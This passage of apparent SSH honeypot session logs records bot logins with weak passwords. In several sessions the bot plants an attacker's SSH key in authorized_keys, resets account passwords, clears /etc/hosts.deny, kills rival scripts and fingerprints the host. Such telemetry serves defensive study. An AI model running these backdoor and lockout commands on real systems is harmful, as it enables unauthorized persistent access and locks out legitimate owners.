| awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T13:47:49.123903+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"yangx","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"39030d49-2b8a-4bd4-8406-ba530c175953","name":"gritty-faded-gibbon","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56528,"username":"yangx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:47:25.338253+00:00","ended_at":"2026-08-26T13:47:26.804998+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"yangx","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"789f4485-21e2-4434-a67b-dd961853b80c","name":"feathered-leafy-capuchin","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56524,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:47:23.949081+00:00","ended_at":"2026-08-26T13:47:24.771263+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cb7413ea-8ef5-458d-9ae3-1db2b223d063","name":"early-blunt-oryx","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":54674,"username":"acer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:45:52.160935+00:00","ended_at":"2026-08-26T13:45:53.165272+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2076,"events":[{"seq":1,"at":"2026-08-26T13:45:35.584449+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:45:35.873500+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:45:40.103888+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:45:40.617956+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:45:40.917023+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nFYM6qZ9RJzFU\\nFYM6qZ9RJzFU\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:45:41.207113+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nFYM6qZ9RJzFU\\nFYM6qZ9RJzFU\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:45:41.499038+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:45:41.952838+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:45:42.243493+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:45:43.290683+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:45:43.583552+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:45:44.836157+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:45:45.127748+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:45:45.387213+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:45:45.677942+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:45:46.014158+00:00","kind":"output","latency_ms":null,"data":" 13:45:46 up 6 days, 10:35, 0 user, load average: 0.27, 0.23, 0.29\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:45:46.304038+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:45:46.739642+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:45:47.028060+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:45:47.326564+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:45:47.617578+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:45:47.958666+00:00","kind":"output","latency_ms":null,"data":"top - 13:45:47 up 6 days, 10:35, 0 user, load average: 0.27, 0.23, 0.29\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:45:48.249415+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:45:48.838221+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:45:49.131230+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:45:49.535483+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:45:49.827126+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:45:50.412603+00:00","kind":"output","latency_ms":null,"data":"acer"},{"seq":29,"at":"2026-08-26T13:45:50.702019+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:45:51.871864+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:45:52.161825+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:45:53.080114+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"acer","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"3779d44f-2585-4132-895f-a61258f73d2c","name":"muted-amber-opossum","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":54694,"username":"acer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:45:38.451660+00:00","ended_at":"2026-08-26T13:45:40.021744+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"acer","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ac70d5cf-0c07-425d-ad91-b202aef11d52","name":"alpine-amiable-pangolin","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":54690,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:45:36.554109+00:00","ended_at":"2026-08-26T13:45:37.871635+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"42543b63-fc4b-40b7-9a13-ec41d327ec93","name":"fickle-rugged-stork","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":59310,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:43:44.740814+00:00","ended_at":"2026-08-26T13:43:46.271835+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-26T13:43:25.463201+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:43:25.758625+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:43:30.581485+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:43:31.283357+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:43:31.582087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tPU5Knpw6oTl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:43:31.874882+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:43:32.170721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:43:32.891115+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:43:33.189564+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:43:34.032746+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:43:34.330836+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:43:35.450610+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:43:35.750504+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:43:36.400163+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:43:36.698723+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:43:37.543352+00:00","kind":"output","latency_ms":null,"data":" 13:43:37 up 6 days, 10:33, 0 user, load average: 0.29, 0.22, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:43:37.840466+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:43:38.228619+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:43:38.523311+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:43:38.970080+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:43:39.267347+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:43:40.043768+00:00","kind":"output","latency_ms":null,"data":"top - 13:43:40 up 6 days, 10:33, 0 user, load average: 0.29, 0.22, 0.22\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:43:40.340321+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:43:41.066105+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:43:41.362039+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:43:41.902852+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:43:42.196693+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:43:42.758693+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:43:43.055889+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:43:44.446140+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:43:44.741606+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:43:46.184706+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin@5000","method":"password","accepted":true,"tier":"other"}]} {"id":"83fa7bc5-5eaa-4c2b-a58f-e06fa28ddcd0","name":"early-rapid-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":59320,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:43:28.974452+00:00","ended_at":"2026-08-26T13:43:30.495706+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c921a4f5-a690-4083-8ecf-871ab1dd46d4","name":"downy-frosty-pipit","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":59312,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:43:26.441242+00:00","ended_at":"2026-08-26T13:43:28.369230+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"163daaed-ce86-40b1-adca-4df6ae065541","name":"indigo-wiry-stoat","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":62784,"username":"postgres","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":287,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:41:43.909269+00:00","ended_at":"2026-08-26T13:41:44.902723+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2086,"events":[{"seq":1,"at":"2026-08-26T13:41:29.719037+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:41:30.003989+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:41:34.601776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:41:34.602181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:41:34.890178+00:00","kind":"input","latency_ms":null,"data":"echo -e \"postgres@123456\\nCTSQE9vHcPXI\\nCTSQE9vHcPXI\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:41:35.179080+00:00","kind":"input","latency_ms":null,"data":"echo \"postgres@123456\\nCTSQE9vHcPXI\\nCTSQE9vHcPXI\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:41:35.464745+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:41:35.465238+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:41:35.750704+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:41:36.365502+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:41:36.653212+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:41:37.207255+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:41:37.496484+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:41:37.496949+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:41:37.783667+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:41:37.784124+00:00","kind":"output","latency_ms":null,"data":" 13:41:37 up 6 days, 10:31, 0 user, load average: 0.24, 0.28, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:41:38.072046+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:41:38.072453+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:41:38.359886+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:41:38.360309+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:41:38.646486+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:41:39.174644+00:00","kind":"output","latency_ms":null,"data":"top - 13:41:39 up 6 days, 10:31, 0 user, load average: 0.24, 0.28, 0.23\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:41:39.462674+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:41:40.105443+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:41:40.391579+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:41:41.227259+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:41:41.513563+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:41:41.960421+00:00","kind":"output","latency_ms":null,"data":"postgres"},{"seq":29,"at":"2026-08-26T13:41:42.246570+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:41:43.621878+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:41:43.910143+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:41:44.818706+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"postgres","password":"postgres@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"4b482c66-c258-442a-b102-f3d4fcc1546c","name":"ivory-wandering-jackdaw","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":62804,"username":"postgres","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:41:32.593505+00:00","ended_at":"2026-08-26T13:41:34.519428+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"postgres","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e2b3e66f-8ea4-45a7-b4b8-83efb71a92ad","name":"solemn-hardy-llama","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":62796,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:41:30.652525+00:00","ended_at":"2026-08-26T13:41:32.017074+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e4d6094e-7276-43a2-845a-328c4555f3bf","name":"vigilant-amiable-egret","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":56164,"username":"pixel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":278,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:39:44.534056+00:00","ended_at":"2026-08-26T13:39:45.132972+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2052,"events":[{"seq":1,"at":"2026-08-26T13:39:34.792812+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:39:35.069989+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:39:38.764215+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:39:38.764859+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:39:39.043176+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pixel\\nKUPzwVCSfh24\\nKUPzwVCSfh24\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:39:39.320411+00:00","kind":"input","latency_ms":null,"data":"echo \"pixel\\nKUPzwVCSfh24\\nKUPzwVCSfh24\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:39:39.597432+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:39:39.597896+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:39:39.877797+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:39:40.396434+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:39:40.676798+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:39:41.164833+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:39:41.446918+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:39:41.447391+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:39:41.724874+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:39:41.725426+00:00","kind":"output","latency_ms":null,"data":" 13:39:41 up 6 days, 10:29, 0 user, load average: 0.13, 0.09, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:39:42.004151+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:39:42.004656+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:39:42.283176+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:39:42.283862+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:39:42.563543+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:39:42.564187+00:00","kind":"output","latency_ms":null,"data":"top - 13:39:42 up 6 days, 10:29, 0 user, load average: 0.13, 0.09, 0.12\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 